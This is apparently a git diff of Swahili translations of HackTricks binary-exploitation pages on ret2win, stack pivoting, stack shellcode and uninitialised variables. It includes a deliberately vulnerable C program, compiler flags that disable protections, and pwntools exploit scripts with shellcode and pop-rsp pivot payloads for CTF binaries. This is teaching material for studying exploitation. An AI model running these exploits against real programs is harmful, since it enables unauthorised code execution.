**Mashindano ya Ret2win** ni jamii maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika majukumu yanayohusisha **udukuzi wa binary**. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, isiyoitwa ndani ya binary, mara nyingi ikiitwa kama `win`, `ret2win`, n.k. Kazi hii, inapotekelezwa, kawaida huchapisha bendera au ujumbe wa mafanikio. Changamoto kawaida inahusisha kubadilisha **anwani ya kurudi** kwenye steki ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo zaidi pamoja na mifano:
**Mashindano ya Ret2win** ni jamii maarufu katika mashindano ya **Capture The Flag (CTF)**, hasa katika kazi zinazohusisha **uchimbaji wa binary**. Lengo ni kutumia udhaifu katika binary iliyopewa kutekeleza kazi maalum, isiyoitwa ndani ya binary, mara nyingi ikiitwa kama `win`, `flag`, n.k. Kazi hii, inapotekelezwa, kawaida huchapisha bendera au ujumbe wa mafanikio. Changamoto kawaida inahusisha kubadilisha **anwani ya kurudi** kwenye steki ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo zaidi pamoja na mifano:
### Mfano wa C
@ -43,10 +43,10 @@ Ili kutekeleza programu hii bila ulinzi wa stack na na **ASLR** imelemazwa, unaw
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Kupachika programu kama binary ya biti 32 (hii ni hiari lakini kawaida katika changamoto za CTF).
* `-m32`: Kupasha programu kama binary ya biti 32 (hii ni hiari lakini kawaida katika changamoto za CTF).
* `-fno-stack-protector`: Lemaza ulinzi dhidi ya kujaa kwa steki.
* `-z execstack`: Ruhusu utekelezaji wa nambari kwenye steki.
* `-no-pie`: Lemaza Position Independent Executable ili kuhakikisha anwani ya kazi ya `win` haibadiliki.
* `-no-pie`: Lemaza Utekelezaji wa Kielelezo cha Nafasi huru kuhakikisha kuwa anwani ya kazi ya `win` haibadiliki.
* `-o vulnerable`: Ita faili ya pato `vulnerable`.
### Mbinu ya Udukuzi ya Python kwa Kutumia Pwntools
@ -75,14 +75,14 @@ Ili kupata anwani ya kazi ya `win`, unaweza kutumia **gdb**, **objdump**, au cho
```sh
objdump -d vulnerable | grep win
```
Amri hii itakuonyesha mkusanyiko wa `win` function, pamoja na anwani yake ya kuanzia.
Amri ifuatayo itakuonyesha mkusanyiko wa `win` function, pamoja na anwani yake ya kuanzia.
Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa na `vulnerable_function`, unafunika buffer na kubadilisha anwani ya kurudi kwenye stack na anwani ya `win`. Wakati `vulnerable_function` inaporudi, badala ya kurudi kwa `main` au kutoka, inaruka kwa `win`, na ujumbe unachapishwa.
## Kinga
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzimwa** ili anwani iweze kutegemewa kila wakati wa utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja ili kugundua wapi kazi ya ushindi imehifadhiwa.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi EIP haitafuatwa kamwe.
* [**PIE**](../common-binary-protections-and-bypasses/pie/) **inapaswa kuwa imelemazwa** ili anwani iweze kutegemewa kila wakati wa utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa sawa daima na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa. Katika baadhi ya kesi, wakati kazi inayosababisha kujazwa ni `read` au sawa, unaweza kufanya **Kujaza Sehemu** ya 1 au 2 ya herufi kubadilisha anwani ya kurudi iwe kazi ya ushindi. Kwa sababu ya jinsi ASLR inavyofanya kazi, herufi tatu za mwisho za hex hazijaribiwi, kwa hivyo kuna **nafasi ya 1/16** (1 herufi) ya kupata anwani sahihi ya kurudi.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuwa imelemazwa au anwani iliyoharibiwa ya kurudi ya EIP haitafuatwa kamwe.
## Mifano na Marejeo Mengine
@ -94,12 +94,14 @@ Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa n
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bits, hakuna ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bits, hakuna ASLR, kujaza mara mbili ndogo, ya kwanza kufunika stack na kuongeza ukubwa wa kujaza la pili
* 32 bits, hakuna ASLR, kujaza mara mbili ndogo, ya kwanza kujaza stack na kuongeza ukubwa wa kujaza la pili
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, hakuna canary, nx, hakuna pie, string ya muundo ya kubadilisha anwani ya `fflush` na kazi ya ushindi (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bit, nx, hakuna kitu kingine, kubadilisha sehemu ya EIP (1Byte) kuita kazi ya ushindi
* 32 bit, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bit, nx, hakuna kitu kingine, kubadilisha sehemu ya EIP (1Byte) kuita kazi ya ushindi
* 32 bit, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Programu inathibitisha tu herufi ya mwisho ya nambari ili kuthibitisha ukubwa wa kuingia, kwa hivyo ni rahisi kuongeza ukubwa wowote ikiwa herufi ya mwisho iko ndani ya safu iliyoruhusiwa. Kisha, kuingia kunajenga kujaza la buffer lililofunuliwa na ret2win.
* Programu inathibitisha tu herufi ya mwisho ya nambari ili kuhakiki ukubwa wa kuingia, kwa hivyo ni rahisi kuongeza ukubwa wowote muda mrefu kama herufi ya mwisho iko ndani ya safu inayoruhusiwa. Kisha, kuingia kunajenga kujaza buffer lililoathiriwa na ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bit, relro, hakuna canary, nx, pie. Kujaza sehemu kuita kazi ya ushindi (ret2win)

View file

@ -1,63 +1,63 @@
# Stack Pivoting - EBP2Ret - EBP chaining
# Kugeuza Stack - EBP2Ret - Ufuatiliaji wa EBP
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Taarifa Msingi
Mbinu hii inatumia uwezo wa kudhibiti **Msingi wa Alama (EBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya kisajili cha EBP na mfuatano wa maagizo ya `leave; ret`.
Mbinu hii inatumia uwezo wa kudhibiti **Msingi wa Alama (EBP)** ili kuunganisha utekelezaji wa kazi nyingi kupitia matumizi makini ya kusajili EBP na mfuatiliaji wa maagizo ya **`ondoka; ret`**.
Kama kumbukumbu, **`leave`** kimsingi inamaanisha:
Kama kumbukumbu, **`ondoka`** kimsingi inamaanisha:
```
movl %ebp, %esp
popl %ebp
mov ebp, esp
pop ebp
ret
```
Na kwa kuwa **EBP iko kwenye stack** kabla ya EIP inawezekana kuudhibiti kwa kudhibiti stack.
Na kwa kuwa **EBP iko kwenye stack** kabla ya EIP, ni rahisi kuudhibiti kwa kudhibiti stack.
### EBP2Ret
Mbinu hii ni muhimu hasa unapoweza **kubadilisha kisajili cha EBP lakini huna njia moja kwa moja ya kubadilisha kisajili cha EIP**. Inatumia tabia ya kazi wakati zinaisha kutekelezwa.
Ikiwa, wakati wa utekelezaji wa `fvuln`, unaweza kuingiza **fake EBP** kwenye stack ambayo inaelekeza kwenye eneo kwenye kumbukumbu ambapo anwani ya shellcode yako iko (pamoja na byte 4 kuhesabu kwa operesheni ya `pop`), unaweza kudhibiti EIP kwa njia isiyo ya moja kwa moja. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo lililoundwa hili, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **kufanya ielekee kwa anwani iliyohifadhiwa na mshambuliaji hapo.**\
Tambua jinsi unavyohitaji kujua **anwani 2**: Moja ambapo ESP itaenda, ambapo utahitaji kuandika anwani inayoelekezwa na ESP.
Ikiwa, wakati wa kutekelezwa kwa `fvuln`, unaweza kuingiza **fake EBP** kwenye stack inayoashiria eneo kwenye kumbukumbu ambapo anwani ya shellcode yako inapatikana (pamoja na byte 4 kuhesabu operesheni ya `pop`), unaweza kudhibiti EIP kwa njia isiyo ya moja kwa moja. Wakati `fvuln` inarudi, ESP inawekwa kwenye eneo hili lililoundwa, na operesheni inayofuata ya `pop` inapunguza ESP kwa 4, **kufanya iweze kuashiria anwani iliyohifadhiwa na mshambuliaji hapo.**\
Tambua jinsi unavyohitaji kujua **anwani 2**: Moja ambapo ESP itakwenda, ambapo utahitaji kuandika anwani inayoashiriwa na ESP.
#### Ujenzi wa Utekaji
Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data/anwani za kupendelea**. ESP itaelekeza hapa na **kutekeleza `ret` ya kwanza**.
Kwanza unahitaji kujua **anwani ambapo unaweza kuandika data/anwani za kiholela**. ESP itaashiria hapa na **kutekeleza `ret` ya kwanza**.
Kisha, unahitaji kujua anwani inayotumiwa na `ret` ambayo ita **tekeleza kanuni ya kupendelea**. Unaweza kutumia:
Kisha, unahitaji kujua anwani inayotumiwa na `ret` ambayo ita **tekeleza kanuni ya kiholela**. Unaweza kutumia:
* Anwani halali ya [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* Anwani ya **`system()`** ikifuatiwa na **byte 4 za taka** na anwani ya `"/bin/sh"` (x86 bits).
* Anwani ya kifaa cha **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg/)) ikifuatiwa na **shellcode** ya kutekeleza.
* Anwani ya kifaa cha **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ikifuatiwa na **shellcode** ya kutekelezwa.
* Baadhi ya mnyororo wa [**ROP**](../rop-return-oriented-programing/).
Kumbuka kwamba kabla ya anwani yoyote hizi katika sehemu iliyodhibitiwa ya kumbukumbu, lazima iwe na **`4` byte** kwa sababu ya sehemu ya **`pop`** ya maelekezo ya `leave`. Inawezekana kutumia 4B hizi kudhibiti **fake EBP ya pili** na kuendelea kudhibiti utekelezaji.
Kumbuka kwamba kabla ya anwani yoyote hizi katika sehemu iliyodhibitiwa ya kumbukumbu, lazima kuwe na **`4` byte** kwa sababu ya sehemu ya **`pop`** ya maelekezo ya `leave`. Inawezekana kutumia 4B hizi kuweka **fake EBP ya pili** na kuendelea kudhibiti utekelezaji.
#### Utekaji wa Off-By-One
Kuna toleo maalum la mbinu hii inayojulikana kama "Utekaji wa Off-By-One". Hutumiwa unapoweza **kubadilisha byte ya thamani ndogo zaidi ya EBP**. Katika kesi kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kusonga kwenda na **`ret`** lazima iwe na byte tatu za kwanza na EBP, kuruhusu udanganyifu sawa na hali iliyozuiwa zaidi.\
Kuna toleo maalum la mbinu hii inayojulikana kama "Utekaji wa Off-By-One". Hutumiwa unapoweza **kubadilisha tu byte ya kima cha chini cha EBP**. Katika kesi kama hiyo, eneo la kumbukumbu linalohifadhi anwani ya kusonga kwenda na **`ret`** lazima iwe na byte tatu za kwanza na EBP, kuruhusu udanganyifu kama huo chini ya hali zilizozuiwa zaidi.\
Kawaida, inabadilishwa byte 0x00 ili kusonga mbali iwezekanavyo.
Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kufanya iwezekane zaidi kwamba ESP mpya inaelekeza ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
Pia, ni kawaida kutumia RET sled kwenye stack na kuweka mnyororo halisi wa ROP mwishoni ili kufanya iwezekane zaidi kwamba ESP mpya inaashiria ndani ya RET SLED na mnyororo wa mwisho wa ROP unatekelezwa.
### **Udhibiti wa EBP**
### **EBP Chaining**
Hivyo, kwa kuweka anwani iliyodhibitiwa kwenye kuingia ya `EBP` ya stack na anwani ya `leave; ret` katika `EIP`, inawezekana **kuhamisha `ESP` kwenye anwani iliyodhibitiwa ya `EBP` kutoka kwenye stack**.
Sasa, **`ESP`** inadhibitiwa ikiashiria kwenye anwani inayotakiwa na maelekezo inayofuata ya kutekelezwa ni `RET`. Ili kutumia hii, inawezekana kuweka mahali pa ESP iliyodhibitiwa hivi:
Sasa, **`ESP`** inadhibitiwa ikiashiria anwani inayotakiwa na maelekezo inayofuata ya kutekelezwa ni `RET`. Ili kutumia hii, inawezekana kuweka mahali pa ESP iliyodhibitiwa hivi:
* **`&(EBP bandia inayofuata)`** -> Pakia EBP mpya kwa sababu ya `pop ebp` kutoka kwa maelekezo ya `leave`
* **`system()`** -> Kuitwa na `ret`
@ -66,7 +66,7 @@ Sasa, **`ESP`** inadhibitiwa ikiashiria kwenye anwani inayotakiwa na maelekezo i
Kimsingi njia hii inawezesha kuunganisha EBPs bandia kadhaa kudhibiti mtiririko wa programu.
Kwa kweli, hii ni kama [ret2lib](../rop-return-oriented-programing/ret2lib/), lakini ni ngumu zaidi bila faida inayoonekana lakini inaweza kuwa ya kuvutia katika hali za kipekee.
Hii ni kama [ret2lib](../rop-return-oriented-programing/ret2lib/), lakini ni ngumu zaidi bila faida inayoonekana lakini inaweza kuwa ya kuvutia katika hali za kipekee.
Zaidi ya hayo, hapa kuna [**mfano wa changamoto**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) inayotumia mbinu hii na **uvujaji wa stack** kuita kazi ya kushinda. Hii ni mzigo wa mwisho kutoka kwenye ukurasa:
```python
@ -133,9 +133,9 @@ ret # return
```
## Njia nyingine za kudhibiti RSP
### **Kifaa cha** **`pop rsp`**
### **Kifaa cha** `pop rsp`
[Katika ukurasa huu](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilikuwa lazima kuita kazi na vigezo 2 maalum, na kulikuwa na **kifaa cha** **`pop rsp`** na kuna **vuja kutoka kwenye steki**:
[Katika ukurasa huu](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) unaweza kupata mfano wa kutumia mbinu hii. Kwa changamoto hii ilikuwa lazima kuita kazi na vigezo 2 maalum, na kulikuwa na **kifaa cha** `pop rsp` **na kuna** **vuja kutoka kwenye steki**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -179,18 +179,18 @@ pause()
p.sendline(payload)
print(p.recvline())
```
### xchg \<rag>, kifaa cha rsp
### kifaa cha xchg \<reg>, rsp
```
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
xchg <reg>, rsp
```
### jmp esp
Angalia mbinu ya ret2esp hapa:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg/" %}
[ret2esp-ret2reg](../rop-return-oriented-programing/ret2esp-ret2reg/)
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
## Marejeo & Mifano Mingine
@ -212,6 +212,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -16,11 +16,11 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
**Msimbo wa stack shellcode** ni mbinu inayotumiwa katika kudukua binary ambapo muhusika anaandika msimbo wa shell kwenye stack ya programu yenye kasoro na kisha kurekebisha **Pointer ya Maelekezo (IP)** au **Pointer iliyozidishwa ya Maelekezo (EIP)** ili ielekee kwenye eneo la msimbo huu wa shell, ikisababisha utekelezaji wake. Hii ni njia ya kawaida inayotumiwa kupata ufikiaji usioruhusiwa au kutekeleza amri za kupendelea kwenye mfumo lengwa. Hapa kuna maelezo ya mchakato, pamoja na mfano rahisi wa C na jinsi unaweza kuandika shambulio linalofanana kutumia Python na **pwntools**.
**Msimbo wa stack shellcode** ni mbinu inayotumiwa katika **udukuzi wa binary** ambapo muhusika anaandika msimbo wa shell kwenye stack ya programu yenye mapungufu kisha anabadilisha **Mpokeaji wa Maelekezo (IP)** au **Mpokeaji wa Maelekezo Mpana (EIP)** ili kuashiria eneo la msimbo huu wa shell, kusababisha utekelezaji wake. Hii ni njia ya kawaida inayotumiwa kupata ufikiaji usioruhusiwa au kutekeleza amri za kiholela kwenye mfumo lengwa. Hapa kuna maelezo ya mchakato, pamoja na mfano rahisi wa C na jinsi unaweza kuandika udanganyifu unaofanana kwa kutumia Python na **pwntools**.
### Mfano wa C: Programu yenye Kasoro
### Mfano wa C: Programu yenye Mapungufu
Tuanze na mfano rahisi wa programu ya C yenye kasoro:
Tuanze na mfano rahisi wa programu ya C yenye mapungufu:
```c
#include <stdio.h>
#include <string.h>
@ -36,11 +36,11 @@ printf("Returned safely\n");
return 0;
}
```
Programu hii ina mapungufu ya kujaa kwa sababu ya matumizi ya kazi ya `gets()`.
Programu hii ina mapungufu ya kujaza buffer kutokana na matumizi ya kazi ya `gets()`.
### Uundaji
Ili kuunda programu hii huku ukizima ulinzi mbalimbali (kwa lengo la kusimuliza mazingira yanayoweza kudhuriwa), unaweza kutumia amri ifuatayo:
Ili kuunda programu hii huku ukizima ulinzi mbalimbali (kwa lengo la kusimuliza mazingira yanayoweza kudukuliwa), unaweza kutumia amri ifuatayo:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
@ -51,7 +51,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
### Shambulizi la Python kwa kutumia Pwntools
Hapa ndivyo unavyoweza kuandika shambulizi kwa kutumia Python ukitumia **pwntools** kutekeleza shambulizi la **ret2shellcode**.
Hapa ndio jinsi unavyoweza kuandika shambulizi kwa kutumia Python ukitumia **pwntools** kutekeleza shambulizi la **ret2shellcode**.
```python
from pwn import *
@ -78,14 +78,14 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
Hati hii inajenga mzigo unaounda **slaidi ya NOP**, **shellcode**, na kisha kubadilisha **EIP** na anwani inayoashiria kwenye slaidi ya NOP, ikihakikisha shellcode inatekelezwa.
Hii script inajenga mzigo unaounda **slaidi ya NOP**, **shellcode**, na kisha kubadilisha **EIP** na anwani inayoashiria kwenye slaidi ya NOP, ikisimamia shellcode ipate kutekelezwa.
**Slaidi ya NOP** (`asm('nop')`) hutumiwa kuongeza nafasi kwamba utekelezaji uta "kusukuma" kuingia kwenye shellcode yetu bila kujali anwani sahihi. Badilisha hoja ya `p32()` kwa anwani ya kuanzia ya buffer yako pamoja na kufanya marekebisho ili kutua kwenye slaidi ya NOP.
## Kinga
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **inapaswa kuzimwa** ili anwani iweze kutegemewa kote kwenye utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa.
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi kwa EIP haitafuatwa kamwe.
* [**Canaries ya Stack**](../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuzimwa au anwani iliyoharibiwa ya kurudi kwa EIP haitafuatwa kamwe.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) kinga ya **stack** itazuia utekelezaji wa shellcode ndani ya stack kwa sababu eneo hilo halitakuwa la kutekelezeka.
## Mifano na Marejeo Mengine

View file

@ -9,7 +9,7 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -19,14 +19,14 @@ Njia nyingine za kusaidia HackTricks:
Wazo kuu hapa ni kuelewa kinachotokea na **variables zisizojulikana kwani zitakuwa na thamani iliyokuwepo tayari kwenye kumbukumbu iliyowekwa kwao.** Mfano:
* **Fungtion 1: `initializeVariable`**: Tunatangaza variable `x` na kumpa thamani, sema `0x1234`. Hatua hii inafanana na kuhifadhi nafasi kwenye kumbukumbu na kuweka thamani maalum ndani yake.
* **Fungtion 2: `useUninitializedVariable`**: Hapa, tunatangaza variable nyingine `y` lakini hatumpi thamani yoyote. Katika C, variables zisizojulikana hazipati moja kwa moja thamani ya sifuri. Badala yake, zinabaki na thamani yoyote iliyokuwa imesalia kwenye eneo la kumbukumbu.
* **Fungtion 2: `useUninitializedVariable`**: Hapa, tunatangaza variable nyingine `y` lakini hatumpi thamani yoyote. Katika C, variables zisizojulikana hazipati moja kwa moja thamani ya sifuri. Badala yake, zinabaki na thamani yoyote iliyokuwa imewekwa mwisho kwenye eneo la kumbukumbu.
Tunapotekeleza kwa mpangilio huu wa kazi mbili:
Tunapotekeleza hizi fungtions **kwa mpangilio**:
1. Katika `initializeVariable`, `x` inapewa thamani (`0x1234`), ambayo inachukua anwani maalum ya kumbukumbu.
2. Katika `useUninitializedVariable`, `y` inatangazwa lakini haipewi thamani, hivyo inachukua nafasi ya kumbukumbu mara baada ya `x`. Kutokana na kutokuiweka thamani `y`, inamalizia "kurithi" thamani kutoka kwenye eneo la kumbukumbu linalotumiwa na `x`, kwa sababu hiyo ndiyo thamani ya mwisho iliyokuwepo hapo.
2. Katika `useUninitializedVariable`, `y` inatangazwa lakini haipewi thamani, hivyo inachukua nafasi ya kumbukumbu mara baada ya `x`. Kutokana na kutokuiweka `y`, inamalizia "kurithi" thamani kutoka kwenye eneo la kumbukumbu linalotumiwa na `x`, kwa sababu hiyo ndiyo thamani ya mwisho iliyokuwepo hapo.
Tabia hii inaonyesha dhana muhimu katika programu za kiwango cha chini: **Usimamizi wa kumbukumbu ni muhimu**, na variables zisizojulikana zinaweza kusababisha tabia isiyoaminika au mapungufu ya usalama, kwani zinaweza kushikilia data nyeti bila kukusudia iliyosalia kwenye kumbukumbu.
Tabia hii inaonyesha dhana muhimu katika programu za kiwango cha chini: **Usimamizi wa kumbukumbu ni muhimu**, na variables zisizojulikana zinaweza kusababisha tabia isiyoaminika au mapungufu ya usalama, kwani zinaweza kushikilia data nyeti isiyokusudiwa iliyobaki kwenye kumbukumbu.
### Mfano
```c
@ -60,6 +60,6 @@ return 0;
```
#### Jinsi Hii Inavyofanya Kazi:
* **Fungua `initializeAndPrint`**: Hii ni kazi inatangaza kipengele cha nambari `initializedVar`, inampa thamani `100`, na kisha inachapisha anwani ya kumbukumbu na thamani ya kipengele. Hatua hii ni wazi na inaonyesha jinsi kipengele kilichoinuliwa kinavyotenda.
* **Fungua `demonstrateUninitializedVar`**: Katika kazi hii, tunatangaza kipengele cha nambari `uninitializedVar` bila kuipatia thamani. Tunapojaribu kuchapisha thamani yake, matokeo yanaweza kuonyesha nambari ya nasibu. Nambari hii inawakilisha data yoyote iliyokuwepo hapo awali katika eneo hilo la kumbukumbu. Kulingana na mazingira na mtoaji wa programu, matokeo halisi yanaweza kutofautiana, na mara nyingine, kwa usalama, baadhi ya watoaji wa programu wanaweza kiotomatiki kuinua vipengele kuwa sifuri, ingawa hii haipaswi kutegemewa.
* **Fungua `kuu`**: Kazi ya `kuanzia` inaita kazi zote mbili zilizotajwa hapo juu kwa mfululizo, ikionyesha tofauti kati ya kipengele kilichoinuliwa na kile ambacho hakijainuliwa.
* **Fungtion ya `initializeAndPrint`**: Hii fungtion inatangaza kibadala cha nambari `initializedVar`, inampa thamani `100`, na kisha inachapisha anwani ya kumbukumbu na thamani ya kibadala. Hatua hii ni wazi na inaonyesha jinsi kibadala kilivyoanzishwa kinavyotenda.
* **Fungtion ya `demonstrateUninitializedVar`**: Katika fungtion hii, tunatangaza kibadala cha nambari `uninitializedVar` bila kuianzisha. Tunapojaribu kuchapisha thamani yake, matokeo yanaweza kuonyesha nambari ya nasibu. Nambari hii inawakilisha data yoyote iliyokuwepo hapo awali katika eneo hilo la kumbukumbu. Kulingana na mazingira na compiler, matokeo halisi yanaweza kutofautiana, na mara nyingine, kwa usalama, baadhi ya compilers wanaweza kuweka kibadala kiotomatiki kuwa sifuri, ingawa hii haipaswi kutegemewa.
* **Fungtion ya `main`**: Fungtion ya `main` inaita fungtion zote mbili hapo juu kwa mfululizo, ikionyesha tofauti kati ya kibadala kilichoanzishwa na kile ambacho hakijaanzishwa.

View file

@ -1,16 +1,16 @@
# Kufyonza Windows (Mwongozo wa Msingi - OSCP lvl)
# Kudukua Windows (Mwongozo wa Msingi - Viwango vya OSCP)
<details>
<summary><strong>Jifunze AWS kufyonza kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
